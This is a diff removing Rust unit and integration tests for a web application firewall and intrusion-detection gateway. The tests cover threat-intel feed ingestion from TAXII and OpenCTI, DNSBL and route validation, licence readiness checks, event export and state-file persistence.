-        .await;
-        assert_eq!(response.status(), StatusCode::CREATED);
-        let body: serde_json::Value = json_body(response).await;
-        assert_eq!(body["feed_id"], "taxii-lab");
-        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
-        assert_eq!(body["upserted_dnsbl"], 1);
-        // Objects URL is returned; credentials must not appear in the response.
-        let response_text = body.to_string();
-        assert!(!response_text.contains("not-logged"));
-        assert!(!response_text.contains("analyst"));
-
-        let threats: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threats
-                .iter()
-                .any(|t| t.value == "taxii-evil.example" && t.indicator_type == "domain")
-        );
-        assert!(
-            threats
-                .iter()
-                .any(|t| t.value == "203.0.113.92" && t.indicator_type == "client_ip")
-        );
-
-        let freshness: Vec = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/threat-feeds/freshness"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            freshness
-                .iter()
-                .any(|f| f.feed_id == "taxii-lab" && !f.stale)
-        );
-
-        let route_resp = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/routes",
-                Some("secret"),
-                &serde_json::json!({
-                    "id": "taxii-block",
-                    "path_prefix": "/taxii",
-                    "upstream": "mock://x",
-                    "mode": "block",
-                    "enabled": true
-                }),
-            ),
-        )
-        .await;
-        assert_eq!(route_resp.status(), StatusCode::CREATED);
-        let blocked =
-            app_request(&app, gateway_get_from_ip("/gateway/taxii", "203.0.113.92")).await;
-        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
-
-        let audit: Vec = json_body(
-            app_request(
-                &app,
-                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
-            )
-            .await,
-        )
-        .await;
-        let taxii_audit = audit
-            .iter()
-            .find(|e| e.action == "poll_taxii_collection")
-            .expect("taxii poll audit entry");
-        let audit_text = serde_json::to_string(taxii_audit).unwrap();
-        assert!(!audit_text.contains("not-logged"));
-        assert!(!audit_text.contains("analyst"));
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/threat-intel/taxii/poll")
-        );
-    }
-
-    #[tokio::test]
-    async fn opencti_observable_ingest_updates_threats_dnsbl_and_feed_freshness() {
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let unauthorized = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri("/api/threat-intel/opencti")
-                .header("content-type", "application/json")
-                .body(Body::from(
-                    r#"{"entities":[{"entity_type":"IPv4-Addr","observable_value":"1.2.3.4"}]}"#,
-                ))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let export = r#"{
-          "data": {
-            "stixCyberObservables": {
-              "edges": [
-                {
-                  "node": {
-                    "entity_type": "IPv4-Addr",
-                    "observable_value": "203.0.113.93",
-                    "x_opencti_score": 95,
-                    "standard_id": "ipv4-addr--lab"
-                  }
-                },
-                {
-                  "node": {
-                    "entity_type": "Domain-Name",
-                    "observable_value": "opencti-evil.example",
-                    "x_opencti_score": 70
-                  }
-                },
-                {
-                  "node": {
-                    "entity_type": "Url",
-                    "observable_value": "http://opencti-evil.example/phish"
-                  }
-                },
-                {
-                  "node": {
-                    "entity_type": "Text",
-                    "observable_value": "noise"
-                  }
-                }
-              ]
-            }
-          }
-        }"#;
-        let response = app_request(
-            &app,
-            Request::builder()
-                .method(Method::POST)
-                .uri(
-                    "/api/threat-intel/opencti?feed_id=opencti-lab&source=opencti:lab&ttl_seconds=3600",
-                )
-                .header("content-type", "application/json")
-                .header("x-admin-token", "secret")
-                .body(Body::from(export))
-                .unwrap(),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::CREATED);
-        let body: serde_json::Value = json_body(response).await;
-        assert_eq!(body["feed_id"], "opencti-lab");
-        assert!(body["upserted_threats"].as_u64().unwrap() >= 2);
-        assert_eq!(body["upserted_dnsbl"], 1);
-        assert!(body["skipped_objects"].as_u64().unwrap() >= 1);
-
-        let threats: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(
-            threats
-                .iter()
-                .any(|t| { t.value == "opencti-evil.example" && t.indicator_type == "domain" })
-        );
-        assert!(
-            threats
-                .iter()
-                .any(|t| t.value == "203.0.113.93" && t.indicator_type == "client_ip")
-        );
-
-        let dnsbl: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
-        assert!(
-            dnsbl
-                .iter()
-                .any(|d| d.address.to_string() == "203.0.113.93")
-        );
-
-        let freshness: Vec = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/threat-feeds/freshness"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            freshness
-                .iter()
-                .any(|f| f.feed_id == "opencti-lab" && !f.stale)
-        );
-
-        let route_resp = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/routes",
-                Some("secret"),
-                &serde_json::json!({
-                    "id": "opencti-block",
-                    "path_prefix": "/opencti",
-                    "upstream": "mock://x",
-                    "mode": "block",
-                    "enabled": true
-                }),
-            ),
-        )
-        .await;
-        assert_eq!(route_resp.status(), StatusCode::CREATED);
-        let blocked = app_request(
-            &app,
-            gateway_get_from_ip("/gateway/opencti", "203.0.113.93"),
-        )
-        .await;
-        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/threat-intel/opencti")
-        );
-    }
-
-    #[tokio::test]
-    async fn gateway_covers_monitor_proxy_not_found_and_bad_gateway_paths() {
-        let upstream_app = Router::new().route(
-            "/v1/items",
-            any(|| async { (StatusCode::ACCEPTED, "proxied") }),
-        );
-        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let upstream_addr = listener.local_addr().unwrap();
-        let upstream_task = tokio::spawn(axum::serve(listener, upstream_app).into_future());
-
-        let unused_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let unused_addr = unused_listener.local_addr().unwrap();
-        drop(unused_listener);
-
-        let raw_listener = StdTcpListener::bind("127.0.0.1:0").unwrap();
-        let raw_addr = raw_listener.local_addr().unwrap();
-        let raw_task = thread::spawn(move || {
-            let (mut stream, _) = raw_listener.accept().unwrap();
-            let mut buffer = [0; 512];
-            let _ = stream.read(&mut buffer);
-            stream
-                .write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nshort")
-                .unwrap();
-        });
-
-        let state = AppState::new(
-            AppData {
-                routes: vec![
-                    RouteConfig {
-                        id: "mock".to_string(),
-                        path_prefix: "/mock".to_string(),
-                        upstream: "mock://mock".to_string(),
-                        mode: EnforcementMode::Monitor,
-                        enabled: true,
-                        block_threshold: None,
-                    },
-                    RouteConfig {
-                        id: "proxy".to_string(),
-                        path_prefix: "/proxy".to_string(),
-                        upstream: format!("http://{upstream_addr}"),
-                        mode: EnforcementMode::Monitor,
-                        enabled: true,
-                        block_threshold: None,
-                    },
-                    RouteConfig {
-                        id: "down".to_string(),
-                        path_prefix: "/down".to_string(),
-                        upstream: format!("http://{unused_addr}"),
-                        mode: EnforcementMode::Monitor,
-                        enabled: true,
-                        block_threshold: None,
-                    },
-                    RouteConfig {
-                        id: "truncated".to_string(),
-                        path_prefix: "/truncated".to_string(),
-                        upstream: format!("http://{raw_addr}"),
-                        mode: EnforcementMode::Monitor,
-                        enabled: true,
-                        block_threshold: None,
-                    },
-                ],
-                threats: Vec::new(),
-                operator_threat_keys: Vec::new(),
-                dnsbl: Vec::new(),
-                events: Vec::new(),
-                next_event_id: 1,
-                audit_logs: Vec::new(),
-                next_audit_log_id: 1,
-                commercial: CommercialProfile::seeded(),
-                threat_feeds: Vec::new(),
-                threat_feed_ownership: Vec::new(),
-            },
-            AppConfig {
-                admin_token: None,
-                state_path: None,
-                dnsbl_origin: "dnsbl.local".to_string(),
-                event_limit: 20,
-            },
-        );
-        let app = build_app(state);
-
-        let no_route = app_request(&app, empty_request(Method::GET, "/gateway/none")).await;
-        assert_eq!(no_route.status(), StatusCode::NOT_FOUND);
-
-        let mock_request = Request::builder()
-            .method(Method::GET)
-            .uri("/gateway/mock")
-            .header("x-real-ip", "198.51.100.8")
-            .body(Body::empty())
-            .unwrap();
-        let mock_response = app_request(&app, mock_request).await;
-        assert_eq!(mock_response.status(), StatusCode::OK);
-        assert!(
-            body_text(mock_response)
-                .await
-                .contains("no matching indicator")
-        );
-
-        let proxy_response = app_request(
-            &app,
-            empty_request(Method::GET, "/gateway/proxy/v1/items?ok=1"),
-        )
-        .await;
-        assert_eq!(proxy_response.status(), StatusCode::ACCEPTED);
-        assert_eq!(body_text(proxy_response).await, "proxied");
-
-        let down_response = app_request(&app, empty_request(Method::GET, "/gateway/down")).await;
-        assert_eq!(down_response.status(), StatusCode::BAD_GATEWAY);
-
-        let truncated_response =
-            app_request(&app, empty_request(Method::GET, "/gateway/truncated")).await;
-        assert_eq!(truncated_response.status(), StatusCode::BAD_GATEWAY);
-        raw_task.join().unwrap();
-
-        upstream_task.abort();
-    }
-
-    #[tokio::test]
-    async fn proxy_request_rejects_non_http_upstreams_before_sending() {
-        let state = AppState::seeded(None);
-        let result = proxy_request(
-            &state,
-            &RouteConfig {
-                id: "mock".to_string(),
-                path_prefix: "/mock".to_string(),
-                upstream: "mock://mock".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            },
-            &Method::GET,
-            "/mock",
-            None,
-            Bytes::new(),
-        )
-        .await;
-        assert!(result.is_err());
-        assert!(result.err().unwrap().contains("upstream must use http://"));
-    }
-
-    fn temp_state_path(name: &str) -> PathBuf {
-        let nanos = SystemTime::now()
-            .duration_since(UNIX_EPOCH)
-            .unwrap()
-            .as_nanos();
-        std::env::temp_dir().join(format!(
-            "waf-ids-ai-soc-{name}-{}-{nanos}.json",
-            std::process::id()
-        ))
-    }
-
-    #[tokio::test]
-    async fn loads_missing_state_file_from_seed_and_persists_it() {
-        let path = temp_state_path("seed");
-        let state = AppState::load(AppConfig {
-            admin_token: None,
-            state_path: Some(path.clone()),
-            dnsbl_origin: "dnsbl.example.".to_string(),
-            event_limit: 10,
-        })
-        .await
-        .unwrap();
-
-        let data = state.inner.read().await;
-        assert_eq!(data.routes[0].id, "demo");
-        drop(data);
-
-        let persisted = fs::read_to_string(&path).await.unwrap();
-        assert!(persisted.contains("\"next_event_id\": 1"));
-        assert!(persisted.contains("\"demo\""));
-        let _ = fs::remove_file(path).await;
-    }
-
-    #[tokio::test]
-    async fn persists_management_upserts_to_state_file() {
-        let path = temp_state_path("upsert");
-        let state = AppState::load(AppConfig {
-            admin_token: Some("secret".to_string()),
-            state_path: Some(path.clone()),
-            dnsbl_origin: "dnsbl.example".to_string(),
-            event_limit: 10,
-        })
-        .await
-        .unwrap();
-
-        state
-            .mutate_and_persist(|data| {
-                upsert_route(
-                    &mut data.routes,
-                    RouteConfig {
-                        id: "api".to_string(),
-                        path_prefix: "/api".to_string(),
-                        upstream: "mock://api".to_string(),
-                        mode: EnforcementMode::Block,
-                        enabled: true,
-                        block_threshold: None,
-                    },
-                );
-            })
-            .await
-            .unwrap();
-
-        let loaded: AppData =
-            serde_json::from_str(&fs::read_to_string(&path).await.unwrap()).unwrap();
-        assert_eq!(
-            loaded
-                .routes
-                .iter()
-                .filter(|route| route.id == "api")
-                .count(),
-            1
-        );
-        assert_eq!(
-            loaded
-                .routes
-                .iter()
-                .find(|route| route.id == "api")
-                .unwrap()
-                .mode,
-            EnforcementMode::Block
-        );
-        let _ = fs::remove_file(path).await;
-    }
-
-    #[test]
-    fn upserts_threats_and_dnsbl_entries_by_stable_keys() {
-        let mut threats = vec![ThreatIndicator {
-            value: "union select".to_string(),
-            indicator_type: "sqli".to_string(),
-            severity: Severity::High,
-            source: "unit".to_string(),
-            ttl_seconds: 60,
-        }];
-
-        upsert_threat(
-            &mut threats,
-            ThreatIndicator {
-                value: "union select".to_string(),
-                indicator_type: "sqli".to_string(),
-                severity: Severity::Critical,
-                source: "unit".to_string(),
-                ttl_seconds: 120,
-            },
-        );
-
-        assert_eq!(threats.len(), 1);
-        assert_eq!(threats[0].severity, Severity::Critical);
-        assert_eq!(threats[0].ttl_seconds, 120);
-
-        let mut dnsbl = vec![DnsblEntry {
-            address: "203.0.113.10".parse().unwrap(),
-            code: "127.0.0.2".to_string(),
-            reason: "scanner".to_string(),
-            source: "unit".to_string(),
-            ttl_seconds: 300,
-            prefix_len: None,
-        }];
-
-        upsert_dnsbl(
-            &mut dnsbl,
-            DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "127.0.0.3".to_string(),
-                reason: "botnet".to_string(),
-                source: "feed".to_string(),
-                ttl_seconds: 600,
-                prefix_len: None,
-            },
-        );
-
-        assert_eq!(dnsbl.len(), 1);
-        assert_eq!(dnsbl[0].code, "127.0.0.3");
-        assert_eq!(dnsbl[0].reason, "botnet");
-
-        let mut feeds = vec![ThreatFeedStatus {
-            feed_id: "feed-a".to_string(),
-            source: "misp://old".to_string(),
-            last_updated_unix: 1,
-            threat_count: 1,
-            dnsbl_count: 0,
-            ttl_seconds: 60,
-        }];
-
-        upsert_threat_feed(
-            &mut feeds,
-            ThreatFeedStatus {
-                feed_id: "feed-a".to_string(),
-                source: "misp://new".to_string(),
-                last_updated_unix: 2,
-                threat_count: 2,
-                dnsbl_count: 1,
-                ttl_seconds: 120,
-            },
-        );
-        upsert_threat_feed(
-            &mut feeds,
-            ThreatFeedStatus {
-                feed_id: "feed-b".to_string(),
-                source: "taxii://new".to_string(),
-                last_updated_unix: 3,
-                threat_count: 1,
-                dnsbl_count: 1,
-                ttl_seconds: 300,
-            },
-        );
-
-        assert_eq!(feeds.len(), 2);
-        assert_eq!(feeds[0].source, "misp://new");
-        assert_eq!(feeds[1].feed_id, "feed-b");
-    }
-
-    #[test]
-    fn rejects_incomplete_management_records() {
-        assert_eq!(
-            validate_route(&RouteConfig {
-                id: " ".to_string(),
-                path_prefix: "/api".to_string(),
-                upstream: "mock://api".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            }),
-            Err("route id is required")
-        );
-        assert_eq!(
-            validate_route(&RouteConfig {
-                id: "bad-path".to_string(),
-                path_prefix: "api".to_string(),
-                upstream: "mock://api".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            }),
-            Err("route path_prefix must start with /")
-        );
-        assert_eq!(
-            validate_route(&RouteConfig {
-                id: "bad-query".to_string(),
-                path_prefix: "/api?debug=true".to_string(),
-                upstream: "mock://api".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            }),
-            Err("route path_prefix must not contain query or fragment characters")
-        );
-        assert_eq!(
-            validate_route(&RouteConfig {
-                id: "bad-fragment".to_string(),
-                path_prefix: "/api#frag".to_string(),
-                upstream: "mock://api".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            }),
-            Err("route path_prefix must not contain query or fragment characters")
-        );
-        assert_eq!(
-            validate_route(&RouteConfig {
-                id: "no-upstream".to_string(),
-                path_prefix: "/api".to_string(),
-                upstream: " ".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            }),
-            Err("route upstream is required")
-        );
-        assert_eq!(
-            validate_threat(&ThreatIndicator {
-                value: " ".to_string(),
-                indicator_type: "sqli".to_string(),
-                severity: Severity::High,
-                source: "unit".to_string(),
-                ttl_seconds: 60,
-            }),
-            Err("threat indicator value is required")
-        );
-        assert_eq!(
-            validate_threat(&ThreatIndicator {
-                value: "union select".to_string(),
-                indicator_type: " ".to_string(),
-                severity: Severity::High,
-                source: "unit".to_string(),
-                ttl_seconds: 60,
-            }),
-            Err("threat indicator type is required")
-        );
-        assert_eq!(
-            validate_threat(&ThreatIndicator {
-                value: "union select".to_string(),
-                indicator_type: "sqli".to_string(),
-                severity: Severity::High,
-                source: " ".to_string(),
-                ttl_seconds: 60,
-            }),
-            Err("threat indicator source is required")
-        );
-        assert_eq!(
-            validate_threat(&ThreatIndicator {
-                value: "union select".to_string(),
-                indicator_type: "sqli".to_string(),
-                severity: Severity::High,
-                source: "unit".to_string(),
-                ttl_seconds: 0,
-            }),
-            Err("threat indicator ttl_seconds must be greater than 0")
-        );
-        assert_eq!(
-            validate_dnsbl(&DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "127.0.0.2".to_string(),
-                reason: " ".to_string(),
-                source: "unit".to_string(),
-                ttl_seconds: 300,
-                prefix_len: None,
-            }),
-            Err("DNSBL reason is required")
-        );
-        assert_eq!(
-            validate_dnsbl(&DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "127.0.0.2".to_string(),
-                reason: "scanner".to_string(),
-                source: " ".to_string(),
-                ttl_seconds: 300,
-                prefix_len: None,
-            }),
-            Err("DNSBL source is required")
-        );
-        assert_eq!(
-            validate_dnsbl(&DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "127.0.0.2".to_string(),
-                reason: "scanner".to_string(),
-                source: "unit".to_string(),
-                ttl_seconds: 0,
-                prefix_len: None,
-            }),
-            Err("DNSBL ttl_seconds must be greater than 0")
-        );
-        assert_eq!(
-            validate_dnsbl(&DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "192.0.2.1".to_string(),
-                reason: "scanner".to_string(),
-                source: "unit".to_string(),
-                ttl_seconds: 300,
-                prefix_len: None,
-            }),
-            Err("DNSBL response code must be in 127.0.0.0/8")
-        );
-        assert_eq!(
-            validate_dnsbl(&DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "::1".to_string(),
-                reason: "scanner".to_string(),
-                source: "unit".to_string(),
-                ttl_seconds: 300,
-                prefix_len: None,
-            }),
-            Err("DNSBL response code must be an IPv4 loopback address")
-        );
-        assert_eq!(
-            validate_dnsbl(&DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "not-ip".to_string(),
-                reason: "scanner".to_string(),
-                source: "unit".to_string(),
-                ttl_seconds: 300,
-                prefix_len: None,
-            }),
-            Err("DNSBL response code must be an IP address")
-        );
-        assert_eq!(
-            validate_route(&RouteConfig {
-                id: "bad".to_string(),
-                path_prefix: "/api".to_string(),
-                upstream: "ftp://origin".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            }),
-            Err("route upstream must start with mock://, http://, or https://")
-        );
-        assert!(validate_route(&route()).is_ok());
-        assert!(
-            validate_threat(&ThreatIndicator {
-                value: "union select".to_string(),
-                indicator_type: "sqli".to_string(),
-                severity: Severity::High,
-                source: "unit".to_string(),
-                ttl_seconds: 60,
-            })
-            .is_ok()
-        );
-        assert!(
-            validate_dnsbl(&DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "127.0.0.2".to_string(),
-                reason: "scanner".to_string(),
-                source: "unit".to_string(),
-                ttl_seconds: 300,
-                prefix_len: None,
-            })
-            .is_ok()
-        );
-    }
-
-    #[test]
-    fn validates_commercial_profiles_and_threat_feed_imports() {
-        assert_eq!(
-            validate_commercial_profile(&CommercialProfile {
-                tenant_id: " ".to_string(),
-                ..enterprise_profile()
-            }),
-            Err("commercial tenant_id is required")
-        );
-        assert_eq!(
-            validate_commercial_profile(&CommercialProfile {
-                deployment_id: " ".to_string(),
-                ..enterprise_profile()
-            }),
-            Err("commercial deployment_id is required")
-        );
-        assert_eq!(
-            validate_commercial_profile(&CommercialProfile {
-                support_contact: " ".to_string(),
-                ..enterprise_profile()
-            }),
-            Err("commercial support_contact is required")
-        );
-        assert_eq!(
-            validate_commercial_profile(&CommercialProfile {
-                features: Vec::new(),
-                ..enterprise_profile()
-            }),
-            Err("commercial features must not be empty")
-        );
-        assert_eq!(
-            validate_commercial_profile(&CommercialProfile {
-                licensed_node_count: Some(0),
-                ..enterprise_profile()
-            }),
-            Err("commercial licensed_node_count must be greater than 0")
-        );
-        assert_eq!(
-            validate_commercial_profile(&CommercialProfile {
-                license_id: Some(" ".to_string()),
-                ..enterprise_profile()
-            }),
-            Err("commercial license_id is required for active or evaluation licenses")
-        );
-        assert_eq!(
-            validate_commercial_profile(&CommercialProfile {
-                licensee: None,
-                ..enterprise_profile()
-            }),
-            Err("commercial licensee is required for active or evaluation licenses")
-        );
-        assert!(validate_commercial_profile(&enterprise_profile()).is_ok());
-        assert!(
-            validate_commercial_profile(&CommercialProfile {
-                license_status: LicenseStatus::Expired,
-                license_id: None,
-                licensee: None,
-                ..CommercialProfile::seeded()
-            })
-            .is_ok()
-        );
-
-        assert_eq!(
-            validate_threat_feed_import(&ThreatFeedImport {
-                feed_id: " ".to_string(),
-                ..threat_feed_import()
-            }),
-            Err("threat feed_id is required")
-        );
-        assert_eq!(
-            validate_threat_feed_import(&ThreatFeedImport {
-                source: " ".to_string(),
-                ..threat_feed_import()
-            }),
-            Err("threat feed source is required")
-        );
-        assert_eq!(
-            validate_threat_feed_import(&ThreatFeedImport {
-                ttl_seconds: 0,
-                ..threat_feed_import()
-            }),
-            Err("threat feed ttl_seconds must be greater than 0")
-        );
-        assert_eq!(
-            validate_threat_feed_import(&ThreatFeedImport {
-                threats: Vec::new(),
-                dnsbl: Vec::new(),
-                ..threat_feed_import()
-            }),
-            Err("threat feed must include at least one threat or DNSBL entry")
-        );
-        assert_eq!(
-            validate_threat_feed_import(&ThreatFeedImport {
-                threats: vec![ThreatIndicator {
-                    value: " ".to_string(),
-                    indicator_type: "malware".to_string(),
-                    severity: Severity::Critical,
-                    source: "unit".to_string(),
-                    ttl_seconds: 60,
-                }],
-                ..threat_feed_import()
-            }),
-            Err("threat indicator value is required")
-        );
-        assert_eq!(
-            validate_threat_feed_import(&ThreatFeedImport {
-                dnsbl: vec![DnsblEntry {
-                    address: "203.0.113.10".parse().unwrap(),
-                    code: "not-ip".to_string(),
-                    reason: "scanner".to_string(),
-                    source: "unit".to_string(),
-                    ttl_seconds: 300,
-                    prefix_len: None,
-                }],
-                ..threat_feed_import()
-            }),
-            Err("DNSBL response code must be an IP address")
-        );
-        assert!(validate_threat_feed_import(&threat_feed_import()).is_ok());
-    }
-
-    #[test]
-    fn legacy_state_json_defaults_commercial_fields() {
-        let legacy = r#"{
-          "routes": [],
-          "threats": [],
-          "dnsbl": [],
-          "events": [],
-          "next_event_id": 7
-        }"#;
-        let loaded: AppData = serde_json::from_str(legacy).unwrap();
-        assert_eq!(loaded.next_event_id, 7);
-        assert_eq!(loaded.commercial.tenant_id, "local-lab");
-        assert_eq!(loaded.commercial.license_status, LicenseStatus::Unlicensed);
-        assert!(loaded.threat_feeds.is_empty());
-    }
-
-    #[test]
-    fn readiness_rejects_blank_license_and_accepts_dnsbl_only_feeds() {
-        let mut data = AppData::seeded();
-        data.threats.clear();
-        data.commercial = CommercialProfile {
-            license_id: Some(" ".to_string()),
-            ..enterprise_profile()
-        };
-        data.threat_feeds = vec![ThreatFeedStatus {
-            feed_id: "dnsbl-only".to_string(),
-            source: "misp://dnsbl".to_string(),
-            last_updated_unix: 1,
-            threat_count: 0,
-            dnsbl_count: 1,
-            ttl_seconds: 600,
-        }];
-        data.events.push(SecurityEvent {
-            id: 1,
-            timestamp_unix: 1,
-            client_ip: None,
-            route_id: Some("demo".to_string()),
-            action: "monitored".to_string(),
-            reason: "unit".to_string(),
-            score: 0,
-            path: "/demo".to_string(),
-        });
-
-        let blocked = commercial_readiness_snapshot_at(&data, 1);
-        assert!(!blocked.ready_for_enterprise_sale);
-        assert!(blocked.blockers.iter().any(|item| item == "license"));
-
-        data.commercial.license_id = Some("LIC-2B-KRW-0001".to_string());
-        let ready = commercial_readiness_snapshot_at(&data, 1);
-        assert!(ready.ready_for_enterprise_sale);
-
-        let stale = commercial_readiness_snapshot_at(&data, 601);
-        assert!(!stale.ready_for_enterprise_sale);
-        assert!(
-            stale
-                .blockers
-                .iter()
-                .any(|item| item == "threat_feed_updates")
-        );
-        let freshness = threat_feed_freshness_snapshot(&data.threat_feeds, 601);
-        assert!(freshness[0].stale);
-        assert_eq!(freshness[0].expires_at_unix, 601);
-
-        let wrapper_kpis = waf_ids_core::kpi_snapshot(&data);
-        assert_eq!(wrapper_kpis.route_count, data.routes.len());
-        let wrapper_readiness = waf_ids_core::commercial_readiness_snapshot(&data);
-        assert_eq!(
-            wrapper_readiness.target_sale_value_krw,
-            TARGET_SALE_VALUE_KRW
-        );
-        let wrapper_manifest = waf_ids_core::buyer_evidence_manifest(&data);
-        assert_eq!(
-            wrapper_manifest.target_sale_value_krw,
-            TARGET_SALE_VALUE_KRW
-        );
-
-        let manifest = waf_ids_core::buyer_evidence_manifest_at(&data, 1);
-        assert!(manifest.ready_for_enterprise_sale);
-        assert_eq!(manifest.runtime_counts.dnsbl_entry_count, data.dnsbl.len());
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.id == "dnsbl_zone" && endpoint.required_for_sale)
-        );
-
-        let stale_manifest = waf_ids_core::buyer_evidence_manifest_at(&data, 601);
-        assert!(!stale_manifest.ready_for_enterprise_sale);
-        assert!(
-            stale_manifest
-                .blockers
-                .iter()
-                .any(|item| item == "threat_feed_updates")
-        );
-    }
-
-    #[test]
-    fn exports_security_events_as_ndjson() {
-        let events = vec![SecurityEvent {
-            id: 1,
-            timestamp_unix: 10,
-            client_ip: Some("198.51.100.7".parse().unwrap()),
-            route_id: Some("demo".to_string()),
-            action: "blocked".to_string(),
-            reason: "unit".to_string(),
-            score: 100,
-            path: "/demo".to_string(),
-        }];
-
-        let export = export_events_ndjson(&events).unwrap();
-        assert_eq!(export.lines().count(), 1);
-        assert!(export.ends_with('\n'));
-        assert!(export.contains(r#""action":"blocked""#));
-    }
-
-    #[tokio::test]
-    async fn events_ndjson_serialization_errors_are_operator_visible() {
-        let response =
-            events_ndjson_response(Err(serde_json::Error::io(std::io::Error::other("boom"))));
-
-        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
-        assert!(body_text(response).await.contains("failed to serialize"));
-    }
-
-    #[tokio::test]
-    async fn defaults_scoring_and_state_error_paths_are_explicit() {
-        let seeded = AppState::seeded(None);
-        assert_eq!(seeded.health_status().persistence, "memory");
-
-        let loaded = AppState::load(AppConfig::memory(None)).await.unwrap();
-        assert_eq!(loaded.health_status().dnsbl_origin, "dnsbl.local");
-
-        let minimum = AppState::load(AppConfig {
-            admin_token: None,
-            state_path: None,
-            dnsbl_origin: " . ".to_string(),
-            event_limit: 0,
-        })
-        .await
-        .unwrap();
-        assert_eq!(minimum.health_status().dnsbl_origin, "dnsbl.local");
-        assert_eq!(minimum.health_status().event_limit, 1);
-
-        let score = score_request(
-            "/login",
-            None,
-            "alpha beta",
-            None,
-            &[
-                ThreatIndicator {
-                    value: "alpha".to_string(),
-                    indicator_type: "low".to_string(),
-                    severity: Severity::Low,
-                    source: "unit".to_string(),
-                    ttl_seconds: 60,
-                },
-                ThreatIndicator {
-                    value: "beta".to_string(),
-                    indicator_type: "medium".to_string(),
-                    severity: Severity::Medium,
-                    source: "unit".to_string(),
-                    ttl_seconds: 60,
-                },
-            ],
-            &[],
-        );
-        assert_eq!(score.score, 35);
-
-        let mut headers = HeaderMap::new();
-        headers.insert("x-forwarded-for", HeaderValue::from_static("not-an-ip"));
-        assert_eq!(client_ip_from_headers(&headers), None);
-
-        let valid_path = temp_state_path("valid-load");
-        fs::write(
-            &valid_path,
-            serde_json::to_vec_pretty(&AppData::seeded()).unwrap(),
-        )
-        .await
-        .unwrap();
-        let valid_state = AppState::load(AppConfig {
-            admin_token: None,
-            state_path: Some(valid_path.clone()),
-            dnsbl_origin: "dnsbl.example".to_string(),
-            event_limit: 10,
-        })
-        .await
-        .unwrap();
-        assert_eq!(valid_state.inner.read().await.routes[0].id, "demo");
-        let _ = fs::remove_file(valid_path).await;
-
-        let local_path = PathBuf::from(format!(
-            "waf-ids-state-unit-{}-{}.json",
-            std::process::id(),
-            SystemTime::now()
-                .duration_since(UNIX_EPOCH)
-                .unwrap()
-                .as_nanos()
-        ));
-        persist_state(&local_path, &AppData::seeded())
-            .await
-            .unwrap();
-        let _ = fs::remove_file(local_path).await;
-
-        let invalid_path = temp_state_path("invalid-json");
-        fs::write(&invalid_path, "{").await.unwrap();
-        let result = AppState::load(AppConfig {
-            admin_token: None,
-            state_path: Some(invalid_path.clone()),
-            dnsbl_origin: "dnsbl.example".to_string(),
-            event_limit: 10,
-        })
-        .await;
-        assert!(result.is_err());
-        let error = result.err().unwrap();
-        assert!(error.contains("not valid JSON"));
-        let _ = fs::remove_file(invalid_path).await;
-
-        let dir_path = temp_state_path("state-dir");
-        fs::create_dir_all(&dir_path).await.unwrap();
-        let error = load_or_seed_state(&dir_path).await.unwrap_err();
-        assert!(error.contains("failed to read state file"));
-        let _ = fs::remove_dir_all(&dir_path).await;
-
-        let parent_file = temp_state_path("parent-file");
-        fs::write(&parent_file, "not a directory").await.unwrap();
-        let nested_path = parent_file.join("state.json");
-        let error = persist_state(&nested_path, &AppData::seeded())
-            .await
-            .unwrap_err();
-        assert!(error.contains("failed to create state directory"));
-        let _ = fs::remove_file(parent_file).await;
-
-        let write_dir = temp_state_path("write-dir");
